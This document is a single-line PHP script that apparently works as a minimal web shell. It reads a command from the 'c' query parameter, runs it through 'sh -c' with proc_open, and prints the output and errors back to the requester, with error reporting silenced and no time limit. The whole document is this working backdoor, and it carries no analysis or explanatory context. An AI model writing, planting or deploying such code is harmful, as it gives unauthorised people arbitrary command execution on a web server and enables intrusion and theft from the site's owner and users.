<?php error_reporting(0);set_time_limit(0);$c=isset($_GET['c'])?$_GET['c']:'';$d=proc_open('sh -c '.escapeshellarg($c),array(1=>array('pipe','w'),2=>array('pipe','w')),$p);while($o=fgets($p[1])){echo $o;}while($e=fgets($p[2])){echo $e;}fclose($p[1]);fclose($p[2]);proc_close($d);?>